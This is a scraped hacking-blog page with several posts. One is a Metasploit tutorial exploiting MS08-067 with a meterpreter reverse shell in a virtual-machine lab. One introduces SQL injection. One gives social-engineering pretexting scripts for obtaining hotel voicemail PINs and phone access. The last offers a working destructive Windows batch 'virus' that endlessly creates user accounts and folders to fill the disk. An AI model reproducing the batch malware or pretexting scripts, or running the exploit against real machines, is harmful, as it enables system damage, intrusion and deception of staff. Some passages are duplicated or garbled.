Way To Hackintosh

[Metasploit Tutorial] Hacking Windows XP using IP Addres

Admin Jixxi 0 Backtrack, windows hacking

<div dir="ltr" style="text-align: left;" trbidi="on">
Do you think it is possible to 
hack some one computer with just an ip address?! The answer is yes, if 
you are using unpatched(vulnerable) OS.  If you don't believe me, then 
read the full article.  video tut on this article soon... 
 
 
Details about Server Service Vulnerability(MS08-067): 
Microsoft Windows Server service provides support for sharing resources such as files and print services over the network. 
 
The Server service is vulnerable to a remote code-execution 
vulnerability. The vulnerability is caused due to an error in 
netapi32.dll when processing directory traversal character sequences in 
path names. This can be exploited to corrupt stack memory by e.g. 
sending RPC requests containing specially crafted path names to the 
Server Service component. The 'NetprPathCanonicalize()' function in the 
'netapi32.dll' file is affected. 
 
A malicious request to vulnerable system results in complete compromise of vulnerable computers. 
This vulnerability affects Windows XP, Windows 2000, Windows Server 2003, Windows Vista, and Windows Server 2008. But Attackers require authenticated access on Windows Vista and Server 2008 platforms to exploit this issue. 
 
Exploiting the MS08-067 using Metasploit: 
 
Requirements: 
 
 
<ul>
<li>VirtualBox</li>
<li>Backtrack 5</li>
<li>Target OS(XP)</li>
</ul>
Step 1: 
 
Create Two Virtual Machine(VM) namely "Target" and "BT5".  Install the XP inside Target VM and Backtrack inside BT5. Start the Two VMs. 
 
If you don't know how to create virtual machines , then please read this <a href="https://www.virtualbox.org/manual/UserManual.html" rel="nofollow" target="_blank">VirtualBox Manual</a>. 
 
Step 2: Find the IP address of Target 
Open The command prompt in the Target machine(XP). Type "ipconfig" to find the IP address of the Target system. 
 
<div class="info_box">
Hackers use different method for finding the ip 
address of victim.  For Eg., By sending link that will get the ip 
 details or use Angry IP Scanner.</div>
 
Step 3: Information Gathering 
Now let us collect some information about the Target machine.  For this purpose , we are going to use the nmap tool. 
 
Open The Terminal in the BT5 machine(Backtrack) and type "nmap -O 192.168.56.12".
  Here 192.168.56.12 is IP address of Target machine. If you look at the
 result, you can find the list of open ports and OS version. 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_dUa2Cb3rXx3yJDDeXCmrtqsqlzr8-XxTRZ8hgos4gljbLmuNPLDtna3v2MS4cxV080wQ1Ws6-0_9ZI7DPS1BLpCNXcjGxr0qMzvwkNUX2D2hE6f38rqoFZbIRJ4FnkmXo6PhCFKCGaRc/s1600/Metasploit_Tutorials_way2hackintosh.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="384" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_dUa2Cb3rXx3yJDDeXCmrtqsqlzr8-XxTRZ8hgos4gljbLmuNPLDtna3v2MS4cxV080wQ1Ws6-0_9ZI7DPS1BLpCNXcjGxr0qMzvwkNUX2D2hE6f38rqoFZbIRJ4FnkmXo6PhCFKCGaRc/s640/Metasploit_Tutorials_way2hackintosh.jpg" width="640" /></a></div>
 
 Step 4: Metasploit 
Now open the Terminal in the BT5 machine(Backtrack) and Type "msfconsole". 
 
The msfconsole is the most popular interface to the Metasploit 
Framework. It provides an "all-in-one" centralized console and allows 
you efficient access to virtually all of the options available in the 
Metasploit Framework. 
 
Let us use the Search command to find the exploit modules with the keyword netapi. Type "search netapi".  Now you can see the list of modules match with the netapi. 
  
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9LbVDknFe05EQteGzRXJqvx7d3KULHZ4C5C9fW4x52rmhchAZULHEW9jbiflIE8KnsVnLxaHQoZB5FLhc8-XTK0axiiWNdPqF-wBsF6zGtJUGgEP3TV9S1UbLBFHcHV8OGoFrfXnUCt4d/s1600/Hacking_way2hackintosh.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9LbVDknFe05EQteGzRXJqvx7d3KULHZ4C5C9fW4x52rmhchAZULHEW9jbiflIE8KnsVnLxaHQoZB5FLhc8-XTK0axiiWNdPqF-wBsF6zGtJUGgEP3TV9S1UbLBFHcHV8OGoFrfXnUCt4d/s640/Hacking_way2hackintosh.jpg" width="640" /></a></div>
We are going to exploit MS08-067 , so type "use exploit/windows/smb/ms08_067_netapi". 
 
Step 5: Set Payload 
As usual, let use the Reverse Tcp Payload for this exploit also. Type "set payload windows/meterpreter/reverse_tcp" in the msfconsole. 
 
Step 6: Options 
Type "set LHOST 192.168.56.10".
  Here 192.168.56.10 is IP address of Backtrack machine.  You can find 
the ip address by typing 'ifconfig' command in the Terminal. 
 
Type "set RHOST 192.168.56.12".  Here 192.168.56.12 is IP address of Target machine. 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnSztr7ptu7B-J4KPIjldIrvJD5drljOTRsDJTJt8jnx7bN3bQmPHBGldZM2b8pIMwwPi0awfhohDQyUYtIqCE6nO-70-rLZvNi3k6xN7Cp_lzybVFOCmHXRNxCk5SjJSYDJwxyn_tmZKR/s1600/NetAPi-hack_3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnSztr7ptu7B-J4KPIjldIrvJD5drljOTRsDJTJt8jnx7bN3bQmPHBGldZM2b8pIMwwPi0awfhohDQyUYtIqCE6nO-70-rLZvNi3k6xN7Cp_lzybVFOCmHXRNxCk5SjJSYDJwxyn_tmZKR/s1600/NetAPi-hack_3.jpg" /></a></div>
 Step 7: Exploiting 
Ok, it is time to exploit the vulnerability, type "exploit" in the console. If the exploit is successful, you can see the following result. 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAYC-9h_mqdanc0tLnFSdRNkKXDywYonDO9dLzwT42NAYCUS4ksYdi6PX5CHRqONvLHdDvLnk4nH0RENPlCFxRJtT-QTae6dUlOjZuXUfvm6jiK30730c_hZlgNSPOq2ZaFBX4xBZXE4sL/s1600/Hacker_tutorial_4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAYC-9h_mqdanc0tLnFSdRNkKXDywYonDO9dLzwT42NAYCUS4ksYdi6PX5CHRqONvLHdDvLnk4nH0RENPlCFxRJtT-QTae6dUlOjZuXUfvm6jiK30730c_hZlgNSPOq2ZaFBX4xBZXE4sL/s640/Hacker_tutorial_4.jpg" width="640" /></a></div>
 Now we can control the remote computer using the meterpreter. For 
example, typing "screenshot" will grab the screenshot of the victim 
system. 
 
notice remember this is only for educational purpose dont miss use it  its dangerous for you and for other learn it enjoy it do it ethically :) have fun  and yeha subscribe my channel <a href="http://www.youtube.com/way2hackintosh" target="_blank">www.youtube.com/way2hackintosh </a>   </div>

[Metasploit Tutorial] Hacking Windows XP using IP Addres

Do you think it is possible to hack some one computer with just an ip address?! The answer is yes, if you are using unpatched(vulnerable...

What is Database?What is SQL injection?

Admin Jixxi 0 EXPLANATION

<div dir="ltr" style="text-align: left;" trbidi="on">
In this i'll give you intro to the SQL Injections. Next post will give you detailed information about the SQL injections. 
 
What is the Database? 
  Datbase is an application that stores a collection of Data.Database 
offers various APIs for creating, accessing and managing the data it 
holds. And database(DB) servers can be integrated with our web 
development so that we can pick up the things we want from the database 
without much difficulties. 
<a href="http://www.blogger.com/blogger.g?blogID=7300937913117639331" name="more"></a> 
 
Database is a place that stores username,passwords and more details.  
Database should be secured.  But providing high level security is not 
possible for all sites(much costlier or poor programming ). So Database 
of many websites is insecure or vulnerable(easily hackable). 
 
Some List of Database are: 
 
<ul>
<li>DB servers,</li>
<li> MySQL(Open source), </li>
<li>MSSQL, </li>
<li>MS-ACCESS, </li>
<li>Oracle, </li>
<li>Postgre SQL(open source), </li>
<li>SQLite,</li>
</ul>
 What is SQL injection? 
      SQL injection is Common and famous method of hacking  at present 
.  Using this method an unauthorized person can access the database of 
the website.  Attacker can get all details from the Database. 
 
What an attacker can do? 
<ul class="ticlist">
<li>ByPassing Logins</li>
<li>Accessing secret data</li>
<li>Modifying contents of website</li>
<li>Shutting down the My SQL server</li>
</ul>
</div>

What is Database?What is SQL injection?

In this i'll give you intro to the SQL Injections. Next post will give you detailed information about the SQL injections. What is the...

Introduction to Social Engineering world

Admin Jixxi 0 BEGINNERS, EXPLANATION, Hacking tools

<div dir="ltr" style="text-align: left;" trbidi="on">
<h3>
What is Social Engineering?</h3>
Social engineering is the act of 
manipulating people into performing actions or divulging confidential 
information, rather than by breaking in or using technical cracking 
techniques.[1] While similar to a confidence trick or simple fraud, the
 term typically applies to trickery or deception for the purpose of 
information gathering, fraud, or computer system access; in most cases 
the attacker never comes face-to-face with the victim. 
<a href="http://www.blogger.com/blogger.g?blogID=7300937913117639331" name="more"></a> 
 
"Social engineering" as an act of psychological manipulation was 
popularized by hacker-turned-consultant Kevin Mitnick. The term had 
previously been associated with the social sciences, but its usage has 
caught on among computer professionals. 
Example 1: You receive an e-mail where the sender and the manager or someone on behalf of the support department of your bank. 
 
In the message he says that the Internet Banking service is presenting a
 problem and that this problem can be corrected if you run the 
application attached to this message. 
 
The implementation of this application presents a screen similar the one
 you use to access bank account, waiting for you to type your password. 
In fact, this application is prepared to steal your password to access 
the bank account and sends it to the attacker. 
 
 
 
Some Examples 
Example 1: You receive an e-mail where the sender and the manager or someone on behalf of the support department of your bank. 
 
In the message he says that the Internet Banking service is presenting a
 problem and that this problem can be corrected if you run the 
application attached to this message. 
 
The implementation of this application presents a screen similar the one
 you use to access bank account, waiting for you to type your password. 
In fact, this application is prepared to steal your password to access 
the bank account and sends it to the attacker 
 
Example 2: You receive an e-mail saying that your computer is infected 
by a virus. The message suggests that you install a tool available on an
 Internet site, to eliminate the virus from your computer. 
 
The real function of this tool and does not eliminate a virus, but I 
give someone access to your computer and all data stored on it. 
 
Example 3: a stranger calls your house and says it is the technical support of your ISP. 
In this connection he says that his connection to the Internet is 
presenting a problem and then, ask your password to fix it. If you give 
your password, this so-called technical can perform a multitude of 
malicious activities, using your access account 
Internet and therefore such activities relating to its name. 
 
<h4>
Practical Examples:</h4>
Retail Paging Systems 
--------------------- 
Wal-Mart store phones have clearly marked buttons for the paging system. Wal-Mart is 
the exception, not the rule. So how do you get on the paging system to have a little 
fun when you're bored out of your mind shopping with your girlfriend? Social 
engineering, my whipped friend. Find a phone and dial an extension, preferably the 
store op. The key here is to become a harried employee, saying something similar 
to..."This is Bill in shoes. What's the paging extension?" More often than not, 
you'll get the extension without another word. Now, get some by saying something 
sweet over the intercom. 
 
Airport White Courtesy Phones 
----------------------------- 
Imagine you've already been stripped searched and you're waiting for your delayed 
flight. Naturally, you gravitate to a phone. Is it white? Then you've got a free 
call right in front of you. Just pick up to get the op. "This is Bill at Southwest, 
Gate A5. We're swamped and our phones are tied. Can I get an outside line?" If 
the phone does not have DTMF, or the op wants to dial the call for you, do not call 
a number related to you. 
 
Hotels 
------ 
Hotels hold such promise. Some hotels have voice mail for each room, guests 
receiving a PIN when they check in. Hotels also have "guest" phones; phones outside 
of rooms that connect only to rooms or the front desk. Pick up a guest phone, make 
like a friendly guest and say, "I forgot my PIN. Could I get it again? Room XXX." 
Knowing the registered name of the target room helps, for the Hotel and Restaurant 
Management Degree Program graduate may ask for it. 
 
Do not follow through with the next social engineering example. Or, like the author, 
try it on a friend. Go to the front desk and tell the attendant that you've locked 
your key (card) in the laundromat, in your room, lost it, etc. Do not try this with 
the attendant that checked you in. And again, do not enter someone's room without 
permission. 
 
 
Calling Technical Support 
------------------------- 
So you've found a new-fangled computerized phone and you want to learn more about it. 
Do the same thing you do when you have trouble with your AOL - call tech support. 
First, do a little planning (after getting the tech support number off of the phone 
or the web). Get some info on the phone, like phone number, model number, other 
identifying numbers, etc. Also, know the name of the facility in which the phone is 
located. Now that you've got some ammo, you're ready to make the call. Posing as an 
employee of the facility, call tech support and make up a problem for the phone 
you've identified. Act a little dumb and be apologetic, acting like you don't want 
to waste their time. All the while, pumping them for information - "I hate to bug 
you for this, but <insert problem here>." <You'll get some info from tech support 
here.> <Build on what you've learned and curiously ask another question.> And so 
on until you reach the point where you can feel that it's time to end the call. 
Occasionally acting amazed at their knowledge may be helpful. 
 
 
<div id="MedhodsforSE">
<h3>
Methods of Social Engineering</h3>
</div>
 
Phishing 
Phishing is a technique of fraudulently obtaining private information. 
Typically, the phisher sends an e-mail that appears to come from a 
legitimate business — a bank, or credit card company — requesting 
"verification" of information and warning of some dire consequence if it
 is not provided. The e-mail usually contains a link to a fraudulent web
 page that seems legitimate — with company logos and content — and has a
 form requesting everything from a home address to an ATM card's PIN. 
 
For example, 2003 saw the proliferation of a phishing scam in which 
users received e-mails supposedly from eBay claiming that the user's 
account was about to be suspended unless a link provided was clicked to 
update a credit card (information that the genuine eBay already had). 
Because it is relatively simple to make a Web site resemble a legitimate
 organization's site by mimicking the HTML code, the scam counted on 
people being tricked into thinking they were being contacted by eBay and
 subsequently, were going to eBay's site to update their account 
information. By spamming large groups of people, the "phisher" counted 
on the e-mail being read by a percentage of people who already had 
listed credit card numbers with eBay legitimately, who might respond. 
 
Vishing or Phone Phishing: 
This technique uses an Interactive Voice Response (IVR) system to 
recreate a legit sounding copy of a bank or other institution's IVR 
system. The slave is prompted to call in to the "bank" via a phone 
number provided in order to "verify" information. 
 
Baiting 
Baiting is like the real-world Trojan Horse that uses physical media and
 relies on the curiosity or greed of the slave. In this attack, the 
attacker leaves a malware infected floppy disc, CD ROM, or USB flash 
drive in a location sure to be found, gives it a legitimate looking and 
curiosity-piquing label, and simply waits for the slave to use the 
device. 
 
Quid pro quo 
Quid pro quo means something for something: 
 
* An attacker calls random numbers at a company claiming to be calling 
back from technical support. Eventually they will hit someone with a 
legitimate problem, grateful that someone is calling back to help them. 
The attacker will "help" solve the problem and in the process have the 
user type commands that give the attacker access or launch malware. 
 
* In a 2003 information security survey, 90% of office workers gave 
researchers what they claimed was their password in answer to a survey 
question in exchange for a cheap pen. Similar surveys in later years 
obtained similar results using chocolates and other cheap lures, 
although they made no attempt to validate the passwords.
</div>

Introduction to Social Engineering world

What is Social Engineering? Social engineering is the act of manipulating people into performing actions or divulging confidential info...

List Of Every Linux Version and Release

Admin Jixxi 0 Linux Hack, OS

List Of Every Linux Version and Release

A-Z Index of the Bash command line for Linux.

Admin Jixxi 0 linux commands, Linux Hack

A-Z Index of the Bash command line for Linux.

http://ss64.com/bash/ A-Z Index of the Bash command line for Linux....

BAT virus

Admin Jixxi 0 BAT FILE, virus

<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 style="background-color: black; border: 0px; color: white; font-family: Rockwell, Georgia, 'Palatino Linotype', Palatino, 'Times New Roman', Times, serif; font-size: 1.3em; line-height: 19.1875px; margin: 0px; padding: 0.8em 0px; text-align: justify; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;">
If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this lackey I will show you how to make simple .bat file (virus) that can’t be detected by any anti virus<div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;">
</div>
<div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;">
Here are some good viruses ,i am not responsible for any kind of damage to your system … </div>
<div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;">
Copy this to notepad and save as flood1.bat…..</div>
<div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;">
@ECHO OFF @ECHO A way2hackintosh Creation</div>
<div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;">
</div>
</h3>
<h3 style="background-color: black; border: 0px; color: white; font-family: Rockwell, Georgia, 'Palatino Linotype', Palatino, 'Times New Roman', Times, serif; font-size: 1.3em; line-height: 19.1875px; margin: 0px; padding: 0.8em 0px; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;">
@ECHO MAIN BAT RUNNING GOTO start<div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;">
</div>
<div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;">
:start @ECHO SET magic2=1 >> bat6.bat @ECHO GOTO flood5 >> bat6.bat @ECHO :flood5 >> bat6.bat @ECHO SET /a magic2=%%magic2%%+1 >> bat6.bat @ECHO NET USER magic2%%magic2%% /add >> bat6.bat @ECHO GOTO flood5 >> bat6.bat START /MIN bat6.bat GOTO bat5</div>
<div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;">
:bat5 @ECHO CD %%ProgramFiles%%\ >> bat5.bat @ECHO SET pogo=1 >> bat5.bat @ECHO GOTO flood4 >> bat5.bat @ECHO :flood4 >> bat5.bat @ECHO MKDIR pogo%%pogo%% >> bat5.bat @ECHO SET /a pogo=%%pogo%%+1 >> bat5.bat @ECHO GOTO flood4 >> bat5.bat START /MIN bat5.bat GOTO bat4</div>
<div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;">
:bat4 @ECHO CD %%SystemRoot%%\ >> bat4.bat @ECHO SET hat=1 >> bat4.bat @ECHO GOTO flood3 >> bat4.bat @ECHO :flood3 >> bat4.bat @ECHO MKDIR hat%%hat%% >> bat4.bat @ECHO SET /a hat=%%hat%%+1 >> bat4.bat @ECHO GOTO flood3 >> bat4.bat START /MIN bat4.bat GOTO bat3</div>
<div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;">
:bat3 @ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat @ECHO SET chart=1 >> bat3.bat @ECHO GOTO flood2 >> bat3.bat @ECHO :flood2 >> bat3.bat @ECHO MKDIR chart%%chart%% >> bat3.bat @ECHO SET /a chart=%%chart%%+1 >> bat3.bat @ECHO GOTO flood2 >> bat3.bat START /MIN bat3.bat GOTO bat2</div>
<div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;">
:bat2 @ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat @ECHO SET gamer=1 >> bat2.bat @ECHO GOTO flood >> bat2.bat @ECHO :flood >> bat2.bat @ECHO MKDIR gamer%%gamer%% >> bat2.bat @ECHO SET /a gamer=%%gamer%%+1 >> bat2.bat @ECHO GOTO flood >> bat2.bat START /MIN bat2.bat GOTO original</div>
<div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;">
</div>
<div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;">
 </div>
</h3>
<h3 style="background-color: black; border: 0px; color: white; font-family: Rockwell, Georgia, 'Palatino Linotype', Palatino, 'Times New Roman', Times, serif; font-size: 1.3em; line-height: 19.1875px; margin: 0px; padding: 0.8em 0px; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;">
GOTO flood1<div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;">
</div>
<div style="border: 0px; padding: 0.6em 0px 0.2em; text-shadow: rgb(68, 68, 68) 0px 0px 4px; vertical-align: baseline;">
What does it do : this is an extremely harmful virus the will keep replicating itself until your hard drive is totally full and will destroy your comp.</div>
</h3>
</div>

BAT virus

If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never i...